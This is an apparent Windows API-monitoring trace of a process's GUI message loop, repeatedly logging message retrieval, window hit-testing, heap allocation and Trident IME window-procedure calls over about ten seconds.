[0211.805] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x200, wParam=0x0, lParam=0x1bf02a6, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0211.805] NtdllDefWindowProc_W () returned 0x0
[0211.805] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0211.805] GetMessageTime () returned 135252
[0211.805] GetMessagePos () returned 0x20f02e0
[0211.805] GetCapture () returned 0x0
[0211.805] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0211.805] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0211.805] GetCurrentThreadId () returned 0x4e0
[0211.805] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0211.805] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0211.806] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0211.806] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0211.806] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0211.806] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0211.806] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0211.806] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x464950 | out: hHeap=0x450000) returned 1
[0211.806] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x8004, wParam=0x0, lParam=0x1bf02a6, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0211.806] NtdllDefWindowProc_W () returned 0x0
[0211.806] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0211.806] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0211.806] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0211.806] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0211.806] GetCurrentThreadId () returned 0x4e0
[0211.806] GetCurrentThreadId () returned 0x4e0
[0211.806] GetCurrentThreadId () returned 0x4e0
[0211.806] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0212.107] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0212.107] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0212.107] GetCapture () returned 0x0
[0212.107] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0212.107] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0212.107] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0212.107] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0212.107] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0212.107] GetCurrentThreadId () returned 0x4e0
[0212.107] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0212.419] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0212.419] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0212.419] GetCapture () returned 0x0
[0212.419] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0212.419] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0212.419] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0212.419] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0212.419] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0212.419] GetCurrentThreadId () returned 0x4e0
[0212.419] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0212.746] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0212.746] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0212.746] GetCapture () returned 0x0
[0212.746] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0212.746] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0212.746] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0212.746] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0212.746] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0212.746] GetCurrentThreadId () returned 0x4e0
[0212.746] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0213.043] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0213.043] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0213.043] GetCapture () returned 0x0
[0213.043] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0213.043] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0213.043] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0213.043] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0213.043] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0213.043] GetCurrentThreadId () returned 0x4e0
[0213.043] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0213.362] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0213.362] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0213.362] GetCapture () returned 0x0
[0213.362] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0213.362] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0213.362] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0213.362] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0213.362] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0213.362] GetCurrentThreadId () returned 0x4e0
[0213.362] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0213.672] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0213.672] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0213.672] GetCapture () returned 0x0
[0213.672] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0213.672] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0213.672] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0213.672] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0213.672] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0213.672] GetCurrentThreadId () returned 0x4e0
[0213.672] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0213.979] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0213.979] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0213.979] GetCapture () returned 0x0
[0213.979] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0213.979] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0213.979] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0213.979] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0213.979] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0213.979] GetCurrentThreadId () returned 0x4e0
[0213.979] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0214.291] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0214.291] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0214.291] GetCapture () returned 0x0
[0214.291] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0214.291] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0214.291] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0214.291] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0214.291] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0214.291] GetCurrentThreadId () returned 0x4e0
[0214.291] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0214.603] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0214.603] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0214.603] GetCapture () returned 0x0
[0214.603] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0214.603] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0214.603] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0214.603] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0214.603] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0214.603] GetCurrentThreadId () returned 0x4e0
[0214.603] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0214.915] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0214.915] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0214.915] GetCapture () returned 0x0
[0214.915] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0214.915] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0214.915] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0214.915] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0214.915] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0214.915] GetCurrentThreadId () returned 0x4e0
[0214.915] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0215.227] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0215.227] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0215.227] GetCapture () returned 0x0
[0215.227] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0215.227] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0215.227] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0215.227] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0215.227] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0215.227] GetCurrentThreadId () returned 0x4e0
[0215.227] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0215.543] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0215.543] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0215.543] GetCapture () returned 0x0
[0215.543] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0215.543] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0215.543] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0215.543] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0215.544] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0215.544] GetCurrentThreadId () returned 0x4e0
[0215.544] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0215.852] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0215.852] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0215.852] GetCapture () returned 0x0
[0215.852] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0215.852] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0215.852] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0215.852] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0215.852] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0215.852] GetCurrentThreadId () returned 0x4e0
[0215.852] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0216.163] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0216.163] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0216.163] GetCapture () returned 0x0
[0216.163] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0216.163] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0216.163] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0216.163] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0216.163] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0216.163] GetCurrentThreadId () returned 0x4e0
[0216.163] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0216.475] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0216.475] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0216.475] GetCapture () returned 0x0
[0216.475] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0216.475] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0216.475] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0216.475] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0216.475] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0216.475] GetCurrentThreadId () returned 0x4e0
[0216.475] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0216.787] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0216.787] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0216.787] GetCapture () returned 0x0
[0216.787] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0216.787] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0216.787] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0216.787] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0216.787] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0216.787] GetCurrentThreadId () returned 0x4e0
[0216.787] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0217.099] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0217.099] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0217.099] GetCapture () returned 0x0
[0217.099] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0217.099] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0217.099] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0217.099] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0217.099] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0217.099] GetCurrentThreadId () returned 0x4e0
[0217.099] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0217.411] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0217.411] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0217.411] GetCapture () returned 0x0
[0217.411] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0217.411] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0217.411] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0217.411] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0217.411] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0217.411] GetCurrentThreadId () returned 0x4e0
[0217.411] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0217.723] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0217.723] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0217.723] GetCapture () returned 0x0
[0217.723] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0217.723] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0217.723] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0217.723] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0217.723] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0217.723] GetCurrentThreadId () returned 0x4e0
[0217.723] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0218.035] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0218.035] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0218.035] GetCapture () returned 0x0
[0218.035] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0218.035] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0218.035] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0218.035] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0218.035] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0218.035] GetCurrentThreadId () returned 0x4e0
[0218.035] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0218.347] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0218.347] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0218.347] GetCapture () returned 0x0
[0218.347] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0218.347] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0218.347] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0218.347] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0218.347] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0218.347] GetCurrentThreadId () returned 0x4e0
[0218.347] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0218.659] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0218.659] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0218.659] GetCapture () returned 0x0
[0218.659] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0218.659] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0218.659] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0218.659] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0218.659] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0218.659] GetCurrentThreadId () returned 0x4e0
[0218.659] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0218.971] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0218.971] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0218.971] GetCapture () returned 0x0
[0218.971] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0218.971] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0218.971] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0218.971] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0218.971] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0218.971] GetCurrentThreadId () returned 0x4e0
[0218.971] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0219.282] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0219.282] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0219.283] GetCapture () returned 0x0
[0219.283] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0219.283] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0219.283] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0219.283] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0219.283] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0219.283] GetCurrentThreadId () returned 0x4e0
[0219.283] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0219.314] NtdllDefWindowProc_W () returned 0x1
[0219.314] NtdllDefWindowProc_W () returned 0x1
[0219.314] NtdllDefWindowProc_W () returned 0x1
[0219.595] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0219.595] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0219.595] GetCapture () returned 0x0
[0219.595] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0219.595] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0219.595] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0219.595] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0219.595] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0219.595] GetCurrentThreadId () returned 0x4e0
[0219.595] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0219.907] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0219.907] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0219.907] GetCapture () returned 0x0
[0219.907] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0219.907] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0219.907] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0219.907] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0219.907] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0219.907] GetCurrentThreadId () returned 0x4e0
[0219.907] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0220.219] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0220.219] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0220.219] GetCapture () returned 0x0
[0220.219] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0220.219] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0220.219] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0220.219] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0220.219] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0220.219] GetCurrentThreadId () returned 0x4e0
[0220.219] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0220.531] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0220.531] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0220.531] GetCapture () returned 0x0
[0220.531] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0220.531] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0220.531] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0220.531] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0220.531] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0220.531] GetCurrentThreadId () returned 0x4e0
[0220.531] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0220.843] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0220.843] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0220.843] GetCapture () returned 0x0
[0220.843] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0220.843] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0220.843] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0220.843] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0220.843] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0220.843] GetCurrentThreadId () returned 0x4e0
[0220.843] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0221.155] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0221.155] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0221.155] GetCapture () returned 0x0
[0221.155] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0221.155] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0221.155] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0221.155] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0221.155] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0221.155] GetCurrentThreadId () returned 0x4e0
[0221.155] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0221.467] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0221.467] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0221.467] GetCapture () returned 0x0
[0221.467] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0221.467] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0221.467] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0221.467] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
